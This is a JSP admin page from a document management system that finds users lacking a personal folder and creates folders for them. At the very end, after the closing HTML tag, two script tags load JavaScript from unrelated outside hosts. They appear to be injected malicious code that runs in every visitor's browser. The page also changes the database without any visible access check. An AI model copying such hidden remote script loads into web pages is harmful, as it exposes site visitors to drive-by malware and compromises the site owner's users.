<%
/*
 * @(#)RebuildDmsDocumentIndex.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  batchLuceneIndex.jsp

  This class is reflecting business logic uses.

    @author           Roy Wong
    @company          DCIVision Limited
    @creation date    05/05/2004
    @version          $Revision: 1.1.26.1 $
*/
%>

<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ page import="java.io.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<%@ page import="com.dcivision.framework.*" %>
<%@ page import="com.dcivision.framework.bean.* "%>
<%@ page import="com.dcivision.framework.web.* "%>

<%@ page import="com.dcivision.dms.*" %>
<%@ page import="com.dcivision.dms.bean.* "%>
<%@ page import="com.dcivision.dms.core.* "%>
<%@ page import="com.dcivision.dms.dao.* "%>
<%@ page import="com.dcivision.user.*"%>
<%@ page import="com.dcivision.user.bean.*"%>
<%@ page import="com.dcivision.user.dao.*"%>
<%@ page import="org.apache.commons.logging.LogFactory"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<%
  if("true".equals(request.getParameter("start"))){
     Connection conn = null;
    try {

      conn = DataSourceFactory.getConnection();
      DocumentRetrievalManager docRetrievalManager = new 
DocumentRetrievalManager(sessionContainer, conn);
      DocumentOperationManager docOperationManager = new 
DocumentOperationManager(sessionContainer, conn);
      com.dcivision.dms.core.RootOperationManager rootOpMgr = new com.dcivision.dms.core.RootOperationManager(sessionContainer, conn);
      DmsRootDAObject rootDAO = new DmsRootDAObject(sessionContainer, conn);
      UserRecordDAObject userRecordDAO = new UserRecordDAObject(sessionContainer, conn);
      
      //step one , Get the missing personal ID user
      List personalRootList = rootDAO.getAllPersonalRootList();
      List userList = userRecordDAO.getAllUserList();
      List missingUserList = new ArrayList();
      boolean havePersonalFolder = false;
      
      out.println("<h1>No. of personal folder:"+personalRootList.size()+"</h1>");
      out.println("<h1>No. of User:"+userList.size()+"</h1>");
      //add one for System admin no need personal folder
      out.println("<h1>Missing:"+(userList.size()-personalRootList.size())+"</h1>"); 
      
      for(int i=0;i<userList.size();i++){
        UserRecord tmpUserRecord =(UserRecord)userList.get(i);
        havePersonalFolder = false;
        for(int j=0;j<personalRootList.size();j++){
          DmsRoot personal = (DmsRoot)personalRootList.get(j);
          if(tmpUserRecord.getID().intValue()==personal.getOwnerID().intValue()){
            havePersonalFolder = true;
            break;
          }
        }
        if(havePersonalFolder==false){
          missingUserList.add(tmpUserRecord.getID());
          out.println("Missing record:"+tmpUserRecord.getLoginName()+"<br>");
        }
      }
      
      
      //step 2, create the personal folder
      for(int k=0;k<missingUserList.size();k++){
        out.println("missing id:"+((Integer)missingUserList.get(k)).intValue()+"<br>");      
        // Create personal folder.      
        rootOpMgr.createDefaultPersonalRootPointForUser(((Integer)missingUserList.get(k)));
      }
      
      
      
      


      conn.commit();

      docRetrievalManager.release();
      docOperationManager.release();
      rootOpMgr.release();
      
    } catch (Exception e) {
	  LogFactory.getLog(this.getClass()).error(e, e);
    } finally {
      try { conn.close(); } catch (Exception ignore) {} finally { conn = null; }
    }

  }

%>

<html>
<body>







Index all document:
<form name="IndexForm" action="<%=request.getContextPath()%>/jsp/dms/RebuildDmsMissingPersonal.jsp">
<input type="hidden" name="start" value="true">
<input type="submit" value="submit">
</form>
</body>


</html>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>